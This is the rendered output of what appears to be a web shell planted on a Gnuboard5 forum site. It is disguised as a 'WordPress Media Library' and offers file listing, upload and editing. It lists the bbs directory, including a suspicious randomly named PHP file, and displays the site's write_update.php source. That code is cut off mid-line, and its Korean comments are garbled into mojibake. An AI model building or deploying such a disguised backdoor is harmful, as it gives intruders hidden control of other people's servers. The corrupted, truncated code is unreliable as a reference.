โ WordPress Media Library
File manager
๐ Media Files
๐ง _common.php
๐ง _head.php
๐ง _head.sub.php
๐ง _tail.php
๐ง _tail.sub.php
๐ง ajax.autosave.php
๐ง ajax.autosavedel.php
๐ง ajax.autosavelist.php
๐ง ajax.autosaveload.php
๐ง ajax.comment_token.php
๐ง ajax.filter.php
๐ง ajax.mb_email.php
๐ง ajax.mb_hp.php
๐ง ajax.mb_id.php
๐ง ajax.mb_nick.php
๐ง ajax.mb_recommend.php
๐ง alert.php
๐ง alert_close.php
๐ง board.php
๐ง board_head.php
๐ง board_list_update.php
๐ง board_tail.php
๐ง confirm.php
๐ง content.php
๐ง current_connect.php
๐ง db_table.optimize.php
๐ง delete.php
๐ง delete_all.php
๐ง delete_comment.php
๐ง download.php
๐ง email_certify.php
๐ง email_stop.php
๐ง faq.php
๐ง formmail.php
๐ง formmail_send.php
๐ง good.php
๐ง group.php
๐ง link.php
๐ง list.php
๐ง login.php
๐ง login_check.php
๐ง logout.php
๐ง member_confirm.php
๐ง member_leave.php
๐ง memo.php
๐ง memo_delete.php
๐ง memo_form.php
๐ง memo_form_update.php
๐ง memo_view.php
๐ง move.php
๐ง move_update.php
๐ง mypage.php
๐ง new.php
๐ง new_delete.php
๐ง newwin.inc.php
๐ง password.php
๐ง password_check.php
๐ง password_lost.php
๐ง password_lost2.php
๐ง password_lost_certify.php
๐ง point.php
๐ง poll_etc_update.php
๐ง poll_etc_update_mail.php
๐ง poll_result.php
๐ง poll_update.php
๐ง profile.php
๐ง qadelete.php
๐ง qadownload.php
๐ง qahead.php
๐ง qalist.php
๐ง qatail.php
๐ง qaview.php
๐ง qawrite.php
๐ง qawrite_update.php
๐ง register.php
๐ง register_email.php
๐ง register_email_update.php
๐ง register_form.php
๐ง register_form_update.php
๐ง register_form_update_mail1.php
๐ง register_form_update_mail2.php
๐ง register_form_update_mail3.php
๐ง register_result.php
๐ง rss.php
๐ง scrap.php
๐ง scrap_delete.php
๐ง scrap_popin.php
๐ง scrap_popin_update.php
๐ง search.php
๐ง sns_send.php
๐ง view.php
๐ง view_comment.php
๐ง view_image.php
๐ง visit_browscap.inc.php
๐ง visit_insert.inc.php
๐ง wp_n2rVotH5.php
๐ง write.php
๐ง write_comment_update.php
๐ง write_comment_update.sns.php
๐ง write_token.php
๐ง write_update.php
๐ง write_update_mail.php
๐ง zboard.php
โฌ๏ธ Upload Media
Upload File
๐ Edit: write_update.php
Size: 31.27 KB | Modified: 2020-06-08 10:35:33
<?php include_once('./_common.php'); include_once(G5_LIB_PATH.'/naver_syndi.lib.php'); include_once(G5_CAPTCHA_PATH.'/captcha.lib.php'); // ํ ํฐ์ฒดํฌ check_write_token($bo_table); $g5['title'] = '๊ฒ์๊ธ ์ ์ฅ'; $msg = array(); if($board['bo_use_category']) { $ca_name = trim($_POST['ca_name']); if(!$ca_name) { $msg[] = '<strong>๋ถ๋ฅ</strong>๋ฅผ ์ ํํ์ธ์.'; } else { $categories = array_map('trim', explode("|", $board['bo_category_list'].($is_admin ? '|๊ณต์ง' : ''))); if(!empty($categories) && !in_array($ca_name, $categories)) $msg[] = '๋ถ๋ฅ๋ฅผ ์ฌ๋ฐ๋ฅด๊ฒ ์ ๋ ฅํ์ธ์.'; if(empty($categories)) $ca_name = ''; } } else { $ca_name = ''; } $wr_subject = ''; if (isset($_POST['wr_subject'])) { $wr_subject = substr(trim($_POST['wr_subject']),0,255); $wr_subject = preg_replace("#[\\\]+$#", "", $wr_subject); } if ($wr_subject == '') { $msg[] = '<strong>์ ๋ชฉ</strong>์ ์ ๋ ฅํ์ธ์.'; } $wr_content = ''; if (isset($_POST['wr_content'])) { $wr_content = substr(trim($_POST['wr_content']),0,65536); $wr_content = preg_replace("#[\\\]+$#", "", $wr_content); } if ($wr_content == '') { $msg[] = '<strong>๋ด์ฉ</strong>์ ์ ๋ ฅํ์ธ์.'; } $wr_link1 = ''; if (isset($_POST['wr_link1'])) { $wr_link1 = substr($_POST['wr_link1'],0,1000); $wr_link1 = trim(strip_tags($wr_link1)); $wr_link1 = preg_replace("#[\\\]+$#", "", $wr_link1); } $wr_link2 = ''; if (isset($_POST['wr_link2'])) { $wr_link2 = substr($_POST['wr_link2'],0,1000); $wr_link2 = trim(strip_tags($wr_link2)); $wr_link2 = preg_replace("#[\\\]+$#", "", $wr_link2); } $msg = implode('<br>', $msg); if ($msg) { alert($msg); } // 090710 if (substr_count($wr_content, '&#') > 50) { alert('๋ด์ฉ์ ์ฌ๋ฐ๋ฅด์ง ์์ ์ฝ๋๊ฐ ๋ค์ ํฌํจ๋์ด ์์ต๋๋ค.'); exit; } $upload_max_filesize = ini_get('upload_max_filesize'); if (empty($_POST)) { alert("ํ์ผ ๋๋ ๊ธ๋ด์ฉ์ ํฌ๊ธฐ๊ฐ ์๋ฒ์์ ์ค์ ํ ๊ฐ์ ๋์ด ์ค๋ฅ๊ฐ ๋ฐ์ํ์์ต๋๋ค.\\npost_max_size=".ini_get('post_max_size')." , upload_max_filesize=".$upload_max_filesize."\\n๊ฒ์ํ๊ด๋ฆฌ์ ๋๋ ์๋ฒ๊ด๋ฆฌ์์๊ฒ ๋ฌธ์ ๋ฐ๋๋๋ค."); } $notice_array = explode(",", $board['bo_notice']); if ($w == 'u' || $w == 'r') { $wr = get_write($write_table, $wr_id); if (!$wr['wr_id']) { alert("๊ธ์ด ์กด์ฌํ์ง ์์ต๋๋ค.\\n๊ธ์ด ์ญ์ ๋์๊ฑฐ๋ ์ด๋ํ์์ ์ ์์ต๋๋ค."); } } // ์ธ๋ถ์์ ๊ธ์ ๋ฑ๋กํ ์ ์๋ ๋ฒ๊ทธ๊ฐ ์กด์ฌํ๋ฏ๋ก ๋น๋ฐ๊ธ์ ์ฌ์ฉ์ผ ๊ฒฝ์ฐ์๋ง ๊ฐ๋ฅํด์ผ ํจ if (!$is_admin && !$board['bo_use_secret'] && (stripos($_POST['html'], 'secret') !== false || stripos($_POST['secret'], 'secret') !== false || stripos($_POST['mail'], 'secret') !== false)) { alert('๋น๋ฐ๊ธ ๋ฏธ์ฌ์ฉ ๊ฒ์ํ ์ด๋ฏ๋ก ๋น๋ฐ๊ธ๋ก ๋ฑ๋กํ ์ ์์ต๋๋ค.'); } $secret = ''; if (isset($_POST['secret']) && $_POST['secret']) { if(preg_match('#secret#', strtolower($_POST['secret']), $matches)) $secret = $matches[0]; } // ์ธ๋ถ์์ ๊ธ์ ๋ฑ๋กํ ์ ์๋ ๋ฒ๊ทธ๊ฐ ์กด์ฌํ๋ฏ๋ก ๋น๋ฐ๊ธ ๋ฌด์กฐ๊ฑด ์ฌ์ฉ์ผ๋๋ ๊ด๋ฆฌ์๋ฅผ ์ ์ธ(๊ณต์ง)ํ๊ณ ๋ฌด์กฐ๊ฑด ๋น๋ฐ๊ธ๋ก ๋ฑ๋ก if (!$is_admin && $board['bo_use_secret'] == 2) { $secret = 'secret'; } $html = ''; if (isset($_POST['html']) && $_POST['html']) { if(preg_match('#html(1|2)#', strtolower($_POST['html']), $matches)) $html = $matches[0]; } $mail = ''; if (isset($_POST['mail']) && $_POST['mail']) { if(preg_match('#mail#', strtolower($_POST['mail']), $matches)) $mail = $matches[0]; } $notice = ''; if (isset($_POST['notice']) && $_POST['notice']) { $notice = $_POST['notice']; } for ($i=1; $i<=10; $i++) { $var = "wr_$i"; $$var = ""; if (isset($_POST['wr_'.$i]) && settype($_POST['wr_'.$i], 'string')) { $$var = trim($_POST['wr_'.$i]); } } @include_once($board_skin_path.'/write_update.head.skin.php'); run_event('write_update_before', $board, $wr_id, $w, $qstr); if ($w == '' || $w == 'u') { // ์ธ๋ถ์์ ๊ธ์ ๋ฑ๋กํ ์ ์๋ ๋ฒ๊ทธ๊ฐ ์กด์ฌํ๋ฏ๋ก ๊ณต์ง๋ ๊ด๋ฆฌ์๋ง ๋ฑ๋ก์ด ๊ฐ๋ฅํด์ผ ํจ if (!$is_admin && $notice) { alert('๊ด๋ฆฌ์๋ง ๊ณต์งํ ์ ์์ต๋๋ค.'); } //ํ์ ์์ ์ด ์ด๊ธ์ ์์ ํ ๊ฒฝ์ฐ ๊ณต์ง๊ฐ ํ๋ฆฌ๋ ๊ฒฝ์ฐ๊ฐ ์์ if($w =='u' && !$is_admin && $board['bo_notice'] && in_array($wr['wr_id'], $notice_array)){ $notice = 1; } // ๊น์ ์ฉ 1.00 : ๊ธ์ฐ๊ธฐ ๊ถํ๊ณผ ์์ ์ ๋ณ๋๋ก ์ฒ๋ฆฌ๋์ด์ผ ํจ if($w =='u' && $member['mb_id'] && $wr['mb_id'] === $member['mb_id']) { ; } else if ($member['mb_level'] < $board['bo_write_level']) { alert('๊ธ์ ์ธ ๊ถํ์ด ์์ต๋๋ค.'); } } else if ($w == 'r') { if (in_array((int)$wr_id, $notice_array)) { alert('๊ณต์ง์๋ ๋ต๋ณ ํ ์ ์์ต๋๋ค.'); } if ($member['mb_level'] < $board['bo_reply_level']) { alert('๊ธ์ ๋ต๋ณํ ๊ถํ์ด ์์ต๋๋ค.'); } // ๊ฒ์๊ธ ๋ฐฐ์ด ์ฐธ์กฐ $reply_array = &$wr; // ์ต๋ ๋ต๋ณ์ ํ ์ด๋ธ์ ์ก์๋์ wr_reply ์ฌ์ด์ฆ๋งํผ๋ง ๊ฐ๋ฅํฉ๋๋ค. if (strlen($reply_array['wr_reply']) == 10) { alert("๋ ์ด์ ๋ต๋ณํ์ค ์ ์์ต๋๋ค.\\n๋ต๋ณ์ 10๋จ๊ณ ๊น์ง๋ง ๊ฐ๋ฅํฉ๋๋ค."); } $reply_len = strlen($reply_array['wr_reply']) + 1; if ($board['bo_reply_order']) { $begin_reply_char = 'A'; $end_reply_char = 'Z'; $reply_number = +1; $sql = " select MAX(SUBSTRING(wr_reply, $reply_len, 1)) as reply from {$write_table} where wr_num = '{$reply_array['wr_num']}' and SUBSTRING(wr_reply, {$reply_len}, 1) <> '' "; } else { $begin_reply_char = 'Z'; $end_reply_char = 'A'; $reply_number = -1; $sql = " select MIN(SUBSTRING(wr_reply, {$reply_len}, 1)) as reply from {$write_table} where wr_num = '{$reply_array['wr_num']}' and SUBSTRING(wr_reply, {$reply_len}, 1) <> '' "; } if ($reply_array['wr_reply']) $sql .= " and wr_reply like '{$reply_array['wr_reply']}%' "; $row = sql_fetch($sql); if (!$row['reply']) { $reply_char = $begin_reply_char; } else if ($row['reply'] == $end_reply_char) { // A~Z์ 26 ์ ๋๋ค. alert("๋ ์ด์ ๋ต๋ณํ์ค ์ ์์ต๋๋ค.\\n๋ต๋ณ์ 26๊ฐ ๊น์ง๋ง ๊ฐ๋ฅํฉ๋๋ค."); } else { $reply_char = chr(ord($row['reply']) + $reply_number); } $reply = $reply_array['wr_reply'] . $reply_char; } else { alert('w ๊ฐ์ด ์ ๋๋ก ๋์ด์ค์ง ์์์ต๋๋ค.'); } $is_use_captcha = ((($board['bo_use_captcha'] && $w !== 'u') || $is_guest) && !$is_admin) ? 1 : 0; if ($is_use_captcha && !chk_captcha()) { alert('์๋๋ฑ๋ก๋ฐฉ์ง ์ซ์๊ฐ ํ๋ ธ์ต๋๋ค.'); } if ($w == '' || $w == 'r') { if (isset($_SESSION['ss_datetime'])) { if ($_SESSION['ss_datetime'] >= (G5_SERVER_TIME - $config['cf_delay_sec']) && !$is_admin) alert('๋๋ฌด ๋น ๋ฅธ ์๊ฐ๋ด์ ๊ฒ์๋ฌผ์ ์ฐ์ํด์ ์ฌ๋ฆด ์ ์์ต๋๋ค.'); } set_session("ss_datetime", G5_SERVER_TIME); } if (!isset($_POST['wr_subject']) || !trim($_POST['wr_subject'])) alert('์ ๋ชฉ์ ์ ๋ ฅํ์ฌ ์ฃผ์ญ์์ค.'); $wr_seo_title = exist_seo_title_recursive('bbs', generate_seo_title($wr_subject), $write_table, $wr_id); if ($w == '' || $w == 'r') { if ($member['mb_id']) { $mb_id = $member['mb_id']; $wr_name = addslashes(clean_xss_tags($board['bo_use_name'] ? $member['mb_name'] : $member['mb_nick'])); $wr_password = ''; $wr_email = addslashes($member['mb_email']); $wr_homepage = addslashes(clean_xss_tags($member['mb_homepage'])); } else { $mb_id = ''; // ๋นํ์์ ๊ฒฝ์ฐ ์ด๋ฆ์ด ๋๋ฝ๋๋ ๊ฒฝ์ฐ๊ฐ ์์ $wr_name = clean_xss_tags(trim($_POST['wr_name'])); if (!$wr_name) alert('์ด๋ฆ์ ํํ ์ ๋ ฅํ์ ์ผ ํฉ๋๋ค.'); $wr_password = get_encrypt_string($wr_password); $wr_email = get_email_address(trim($_POST['wr_email'])); $wr_homepage = clean_xss_tags($wr_homepage); } if ($w == 'r') { // ๋ต๋ณ์ ์๊ธ์ด ๋น๋ฐ๊ธ์ด๋ผ๋ฉด ๋น๋ฐ๋ฒํธ๋ ์๊ธ๊ณผ ๋์ผํ๊ฒ ๋ฃ๋๋ค. if ($secret) $wr_password = $wr['wr_password']; $wr_id = $wr_id . $reply; $wr_num = $write['wr_num']; $wr_reply = $reply; } else { $wr_num = get_next_num($write_table); $wr_reply = ''; } $sql = " insert into $write_table set wr_num = '$wr_num', wr_reply = '$wr_reply', wr_comment = 0, ca_name = '$ca_name', wr_option = '$html,$secret,$mail', wr_subject = '$wr_subject', wr_content = '$wr_content', wr_seo_title = '$wr_seo_title', wr_link1 = '$wr_link1', wr_link2 = '$wr_link2', wr_link1_hit = 0, wr_link2_hit = 0, wr_hit = 0, wr_good = 0, wr_nogood = 0, mb_id = '{$member['mb_id']}', wr_password = '$wr_password', wr_name = '$wr_name', wr_email = '$wr_email', wr_homepage = '$wr_homepage', wr_datetime = '".G5_TIME_YMDHIS."', wr_last = '".G5_TIME_YMDHIS."', wr_ip = '{$_SERVER['REMOTE_ADDR']}', wr_1 = '$wr_1', wr_2 = '$wr_2', wr_3 = '$wr_3', wr_4 = '$wr_4', wr_5 = '$wr_5', wr_6 = '$wr_6', wr_7 = '$wr_7', wr_8 = '$wr_8', wr_9 = '$wr_9', wr_10 = '$wr_10' "; sql_query($sql); $wr_id = sql_insert_id(); // ๋ถ๋ชจ ์์ด๋์ UPDATE sql_query(" update $write_table set wr_parent = '$wr_id' where wr_id = '$wr_id' "); // ์๊ธ INSERT sql_query(" insert into {$g5['board_new_table']} ( bo_table, wr_id, wr_parent, bn_datetime, mb_id ) values ( '{$bo_table}', '{$wr_id}', '{$wr_id}', '".G5_TIME_YMDHIS."', '{$member['mb_id']}' ) "); // ๊ฒ์๊ธ 1 ์ฆ๊ฐ sql_query("update {$g5['board_table']} set bo_count_write = bo_count_write + 1 where bo_table = '{$bo_table}'"); // ์ฐ๊ธฐ ํฌ์ธํธ ๋ถ์ฌ if ($w == '') { if ($notice) { $bo_notice = $wr_id.($board['bo_notice'] ? ",".$board['bo_notice'] : ''); sql_query(" update {$g5['board_table']} set bo_notice = '{$bo_notice}' where bo_table = '{$bo_table}' "); } insert_point($member['mb_id'], $board['bo_write_point'], "{$board['bo_subject']} {$wr_id} ๊ธ์ฐ๊ธฐ", $bo_table, $wr_id, '์ฐ๊ธฐ'); } else { // ๋ต๋ณ์ ์ฝ๋ฉํธ ํฌ์ธํธ๋ฅผ ๋ถ์ฌํจ // ๋ต๋ณ ํฌ์ธํธ๊ฐ ๋ง์ ๊ฒฝ์ฐ ์ฝ๋ฉํธ ๋์ ๋ต๋ณ์ ํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ insert_point($member['mb_id'], $board['bo_comment_point'], "{$board['bo_subject']} {$wr_id} ๊ธ๋ต๋ณ", $bo_table, $wr_id, '์ฐ๊ธฐ'); } } else if ($w == 'u') { if (get_session('ss_bo_table') != $_POST['bo_table'] || get_session('ss_wr_id') != $_POST['wr_id']) { alert('์ฌ๋ฐ๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก ์์ ํ์ฌ ์ฃผ์ญ์์ค.', get_pretty_url($bo_table)); } $return_url = get_pretty_url($bo_table, $wr_id); if ($is_admin == 'super') // ์ต๊ณ ๊ด๋ฆฌ์ ํต๊ณผ ; else if ($is_admin == 'group') { // ๊ทธ๋ฃน๊ด๋ฆฌ์ $mb = get_member($write['mb_id']); if ($member['mb_id'] != $group['gr_admin']) // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ธ๊ฐ? alert('์์ ์ด ๊ด๋ฆฌํ๋ ๊ทธ๋ฃน์ ๊ฒ์ํ์ด ์๋๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.', $return_url); else if ($member['mb_level'] < $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ alert('์์ ์ ๊ถํ๋ณด๋ค ๋์ ๊ถํ์ ํ์์ด ์์ฑํ ๊ธ์ ์์ ํ ์ ์์ต๋๋ค.', $return_url); } else if ($is_admin == 'board') { // ๊ฒ์ํ๊ด๋ฆฌ์์ด๋ฉด $mb = get_member($write['mb_id']); if ($member['mb_id'] != $board['bo_admin']) // ์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ธ๊ฐ? alert('์์ ์ด ๊ด๋ฆฌํ๋ ๊ฒ์ํ์ด ์๋๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.', $return_url); else if ($member['mb_level'] < $mb['mb_level']) // ์์ ์ ๋ ๋ฒจ์ด ํฌ๊ฑฐ๋ ๊ฐ๋ค๋ฉด ํต๊ณผ alert('์์ ์ ๊ถํ๋ณด๋ค ๋์ ๊ถํ์ ํ์์ด ์์ฑํ ๊ธ์ ์์ ํ ์ ์์ต๋๋ค.', $return_url); } else if ($member['mb_id']) { if ($member['mb_id'] != $write['mb_id']) alert('์์ ์ ๊ธ์ด ์๋๋ฏ๋ก ์์ ํ ์ ์์ต๋๋ค.', $return_url); } else { if ($write['mb_id']) alert('๋ก๊ทธ์ธ ํ ์์ ํ์ธ์.', G5_BBS_URL.'/login.php?url='.urlencode($return_url)); } if ($member['mb_id']) { // ์์ ์ ๊ธ์ด๋ผ๋ฉด if ($member['mb_id'] === $wr['mb_id']) { $mb_id = $member['mb_id']; $wr_name = addslashes(clean_xss_tags($board['bo_use_name'] ? $member['mb_name'] : $member['mb_nick'])); $wr_email = addslashes($member['mb_email']); $wr_homepage = addslashes(clean_xss_tags($member['mb_homepage'])); } else { $mb_id = $wr['mb_id']; if(isset($_POST['wr_name']) && $_POST['wr_name']) $wr_name = clean_xss_tags(trim($_POST['wr_name'])); else $wr_name = addslashes(clean_xss_tags($wr['wr_name'])); if(isset($_POST['wr_email']) && $_POST['wr_email']) $wr_email = get_email_address(trim($_POST['wr_email'])); else $wr_email = addslashes($wr['wr_email']); if(isset($_POST['wr_homepage']) && $_POST['wr_homepage']) $wr_homepage = addslashes(clean_xss_tags($_POST['wr_homepage'])); else $wr_homepage = addslashes(clean_xss_tags($wr['wr_homepage'])); } } else { $mb_id = ""; // ๋นํ์์ ๊ฒฝ์ฐ ์ด๋ฆ์ด ๋๋ฝ๋๋ ๊ฒฝ์ฐ๊ฐ ์์ if (!trim($wr_name)) alert("์ด๋ฆ์ ํํ ์ ๋ ฅํ์ ์ผ ํฉ๋๋ค."); $wr_name = clean_xss_tags(trim($_POST['wr_name'])); $wr_email = get_email_address(trim($_POST['wr_email'])); } $sql_password = $wr_password ? " , wr_password = '".get_encrypt_string($wr_password)."' " : ""; $sql_ip = ''; if (!$is_admin) $sql_ip = " , wr_ip = '{$_SERVER['REMOTE_ADDR']}' "; $sql = " update {$write_table} set ca_name = '{$ca_name}', wr_option = '{$html},{$secret},{$mail}', wr_subject = '{$wr_subject}', wr_content = '{$wr_content}', wr_seo_title = '$wr_seo_title', wr_link1 = '{$wr_link1}', wr_link2 = '{$wr_link2}', mb_id = '{$mb_id}', wr_name = '{$wr_name}', wr_email = '{$wr_email}', wr_homepage = '{$wr_homepage}', wr_1 = '{$wr_1}', wr_2 = '{$wr_2}', wr_3 = '{$wr_3}', wr_4 = '{$wr_4}', wr_5 = '{$wr_5}', wr_6 = '{$wr_6}', wr_7 = '{$wr_7}', wr_8 = '{$wr_8}', wr_9 = '{$wr_9}', wr_10= '{$wr_10}' {$sql_ip} {$sql_password} where wr_id = '{$wr['wr_id']}' "; sql_query($sql); // ๋ถ๋ฅ๊ฐ ์์ ๋๋ ๊ฒฝ์ฐ ํด๋น๋๋ ์ฝ๋ฉํธ์ ๋ถ๋ฅ๋ช ๋ ๋ชจ๋ ์์ ํจ // ์ฝ๋ฉํธ์ ๋ถ๋ฅ๋ฅผ ์์ ํ์ง ์์ผ๋ฉด ๊ฒ์์ด ์ ๋๋ก ๋์ง ์์ $sql = " update {$write_table} set ca_name = '{$ca_name}' where wr_parent = '{$wr['wr_id']}' "; sql_query($sql); /* if ($notice) { //if (!preg_match("/[^0-9]{0,1}{$wr_id}[\r]{0,1}/",$board['bo_notice'])) if (!in_array((int)$wr_id, $notice_array)) { $bo_notice = $wr_id . ',' . $board['bo_notice']; sql_query(" update {$g5['board_table']} set bo_notice = '{$bo_notice}' where bo_table = '{$bo_table}' "); } } else { $bo_notice = ''; for ($i=0; $i<count($notice_array); $i++) if ((int)$wr_id != (int)$notice_array[$i]) $bo_notice .= $notice_array[$i] . ','; $bo_notice = trim($bo_notice); //$bo_notice = preg_replace("/^".$wr_id."[\n]?$/m", "", $board['bo_notice']); sql_query(" update {$g5['board_table']} set bo_notice = '{$bo_notice}' where bo_table = '{$bo_table}' "); } */ $bo_notice = board_notice($board['bo_notice'], $wr_id, $notice); sql_query(" update {$g5['board_table']} set bo_notice = '{$bo_notice}' where bo_table = '{$bo_table}' "); // ๊ธ์ ์์ ํ ๊ฒฝ์ฐ์๋ ์ ๋ชฉ์ด ๋ฌ๋ผ์ง์๋ ์์ผ๋ static variable ๋ฅผ ์๋ก๊ณ ์นจํฉ๋๋ค. $write = get_write( $write_table, $wr['wr_id'], false); } // ๊ฒ์ํ๊ทธ๋ฃน์ ๊ทผ์ฌ์ฉ์ ํ์ง ์์์ผ ํ๊ณ ๋นํ์ ๊ธ์ฝ๊ธฐ๊ฐ ๊ฐ๋ฅํด์ผ ํ๋ฉฐ ๋น๋ฐ๊ธ์ด ์๋์ด์ผ ํฉ๋๋ค. if (!$group['gr_use_access'] && $board['bo_read_level'] < 2 && !$secret) { naver_syndi_ping($bo_table, $wr_id); } // ํ์ผ๊ฐ์ ์ฒดํฌ $file_count = 0; $upload_count = (isset($_FILES['bf_file']['name']) && is_array($_FILES['bf_file']['name'])) ? count($_FILES['bf_file']['name']) : 0; for ($i=0; $i<$upload_count; $i++) { if($_FILES['bf_file']['name'][$i] && is_uploaded_file($_FILES['bf_file']['tmp_name'][$i])) $file_count++; } if($w == 'u') { $file = get_file($bo_table, $wr_id); if($file_count && (int)$file['count'] > $board['bo_upload_count']) alert('๊ธฐ์กด ํ์ผ์ ์ญ์ ํ์ ํ ์ฒจ๋ถํ์ผ์ '.number_format($board['bo_upload_count']).'๊ฐ ์ดํ๋ก ์ ๋ก๋ ํด์ฃผ์ญ์์ค.'); } else { if($file_count > $board['bo_upload_count']) alert('์ฒจ๋ถํ์ผ์ '.number_format($board['bo_upload_count']).'๊ฐ ์ดํ๋ก ์ ๋ก๋ ํด์ฃผ์ญ์์ค.'); } // ๋๋ ํ ๋ฆฌ๊ฐ ์๋ค๋ฉด ์์ฑํฉ๋๋ค. (ํผ๋ฏธ์ ๋ ๋ณ๊ฒฝํ๊ตฌ์.) @mkdir(G5_DATA_PATH.'/file/'.$bo_table, G5_DIR_PERMISSION); @chmod(G5_DATA_PATH.'/file/'.$bo_table, G5_DIR_PERMISSION); $chars_array = array_merge(range(0,9), range('a','z'), range('A','Z')); // ๊ฐ๋ณ ํ์ผ ์ ๋ก๋ $file_upload_msg = ''; $upload = array(); if(isset($_FILES['bf_file']['name']) && is_array($_FILES['bf_file']['name'])) { for ($i=0; $i<count($_FILES['bf_file']['name']); $i++) { $upload[$i]['file'] = ''; $upload[$i]['source'] = ''; $upload[$i]['filesize'] = 0; $upload[$i]['image'] = array(); $upload[$i]['image'][0] = 0; $upload[$i]['image'][1] = 0; $upload[$i]['image'][2] = 0; $upload[$i]['fileurl'] = ''; $upload[$i]['thumburl'] = ''; $upload[$i]['storage'] = ''; // ์ญ์ ์ ์ฒดํฌ๊ฐ ๋์ด์๋ค๋ฉด ํ์ผ์ ์ญ์ ํฉ๋๋ค. if (isset($_POST['bf_file_del'][$i]) && $_POST['bf_file_del'][$i]) { $upload[$i]['del_check'] = true; $row = sql_fetch(" select * from {$g5['board_file_table']} where bo_table = '{$bo_table}' and wr_id = '{$wr_id}' and bf_no = '{$i}' "); $delete_file = run_replace('delete_file_path', G5_DATA_PATH.'/file/'.$bo_table.'/'.str_replace('../', '', $row['bf_file']), $row); if( file_exists($delete_file) ){ @unlink($delete_file); } // ์ธ๋ค์ผ์ญ์ if(preg_match("/\.({$config['cf_image_extension']})$/i", $row['bf_file'])) { delete_board_thumbnail($bo_table, $row['bf_file']); } } else $upload[$i]['del_check'] = false; $tmp_file = $_FILES['bf_file']['tmp_name'][$i]; $filesize = $_FILES['bf_file']['size'][$i]; $filename = $_FILES['bf_file']['name'][$i]; $filename = get_safe_filename($filename); // ์๋ฒ์ ์ค์ ๋ ๊ฐ๋ณด๋ค ํฐํ์ผ์ ์ ๋ก๋ ํ๋ค๋ฉด if ($filename) { if ($_FILES['bf_file']['error'][$i] == 1) { $file_upload_msg .= '\"'.$filename.'\" ํ์ผ์ ์ฉ๋์ด ์๋ฒ์ ์ค์ ('.$upload_max_filesize.')๋ ๊ฐ๋ณด๋ค ํฌ๋ฏ๋ก ์ ๋ก๋ ํ ์ ์์ต๋๋ค.\\n'; continue; } else if ($_FILES['bf_file']['error'][$i] != 0) { $file_upload_msg .= '\"'.$filename.'\" ํ์ผ์ด ์ ์์ ์ผ๋ก ์ ๋ก๋ ๋์ง ์์์ต๋๋ค.\\n'; continue; } } if (is_uploaded_file($tmp_file)) { // ๊ด๋ฆฌ์๊ฐ ์๋๋ฉด์ ์ค์ ํ ์ ๋ก๋ ์ฌ์ด์ฆ๋ณด๋ค ํฌ๋ค๋ฉด ๊ฑด๋๋ if (!$is_admin && $filesize > $board['bo_upload_size']) { $file_upload_msg .= '\"'.$filename.'\" ํ์ผ์ ์ฉ๋('.number_format($filesize).' ๋ฐ์ดํธ)์ด ๊ฒ์ํ์ ์ค์ ('.number_format($board['bo_upload_size']).' ๋ฐ์ดํธ)๋ ๊ฐ๋ณด๋ค ํฌ๋ฏ๋ก ์ ๋ก๋ ํ์ง ์์ต๋๋ค.\\n'; continue; } //=================================================================\ // 090714 // ์ด๋ฏธ์ง๋ ํ๋์ ํ์ผ์ ์ ์ฑ์ฝ๋๋ฅผ ์ฌ์ด ์ ๋ก๋ ํ๋ ๊ฒฝ์ฐ๋ฅผ ๋ฐฉ์ง // ์๋ฌ๋ฉ์ธ์ง๋ ์ถ๋ ฅํ์ง ์๋๋ค. //----------------------------------------------------------------- $timg = @getimagesize($tmp_file); // image type if ( preg_match("/\.({$config['cf_image_extension']})$/i", $filename) || preg_match("/\.({$config['cf_flash_extension']})$/i", $filename) ) { if ($timg['2'] < 1 || $timg['2'] > 16) continue; } //================================================================= $upload[$i]['image'] = $timg; // 4.00.11 - ๊ธ๋ต๋ณ์์ ํ์ผ ์ ๋ก๋์ ์๊ธ์ ํ์ผ์ด ์ญ์ ๋๋ ์ค๋ฅ๋ฅผ ์์ if ($w == 'u') { // ์กด์ฌํ๋ ํ์ผ์ด ์๋ค๋ฉด ์ญ์ ํฉ๋๋ค. $row = sql_fetch(" select * from {$g5['board_file_table']} where bo_table = '$bo_table' and wr_id = '$wr_id' and bf_no = '$i' "); $delete_file = run_replace('delete_file_path', G5_DATA_PATH.'/file/'.$bo_table.'/'.str_replace('../', '', $row['bf_file']), $row); if( file_exists($delete_file) ){ @unlink(G5_DATA_PATH.'/file/'.$bo_table.'/'.$row['bf_file']); } // ์ด๋ฏธ์งํ์ผ์ด๋ฉด ์ธ๋ค์ผ์ญ์ if(preg_match("/\.({$config['cf_image_extension']})$/i", $row['bf_file'])) { delete_board_thumbnail($bo_table, $row['bf_file']); } } // ํ๋ก๊ทธ๋จ ์๋ ํ์ผ๋ช $upload[$i]['source'] = $filename; $upload[$i]['filesize'] = $filesize; // ์๋์ ๋ฌธ์์ด์ด ๋ค์ด๊ฐ ํ์ผ์ -x ๋ฅผ ๋ถ์ฌ์ ์น๊ฒฝ๋ก๋ฅผ ์๋๋ผ๋ ์คํ์ ํ์ง ๋ชปํ๋๋ก ํจ $filename = preg_replace("/\.(php|pht|phtm|htm|cgi|pl|exe|jsp|asp|inc)/i", "$0-x", $filename); shuffle($chars_array); $shuffle = implode('', $chars_array); // ์ฒจ๋ถํ์ผ ์ฒจ๋ถ์ ์ฒจ๋ถํ์ผ๋ช ์ ๊ณต๋ฐฑ์ด ํฌํจ๋์ด ์์ผ๋ฉด ์ผ๋ถ PC์์ ๋ณด์ด์ง ์๊ฑฐ๋ ๋ค์ด๋ก๋ ๋์ง ์๋ ํ์์ด ์์ต๋๋ค. (๊ธธ์์ฌ์ ๋ 090925) $upload[$i]['file'] = abs(ip2long($_SERVER['REMOTE_ADDR'])).'_'.substr($shuffle,0,8).'_'.replace_filename($filename); $dest_file = G5_DATA_PATH.'/file/'.$bo_table.'/'.$upload[$i]['file']; // ์ ๋ก๋๊ฐ ์๋๋ค๋ฉด ์๋ฌ๋ฉ์ธ์ง ์ถ๋ ฅํ๊ณ ์ฃฝ์ด๋ฒ๋ฆฝ๋๋ค. $error_code = move_uploaded_file($tmp_file, $dest_file) or die($_FILES['bf_file']['error'][$i]); // ์ฌ๋ผ๊ฐ ํ์ผ์ ํผ๋ฏธ์ 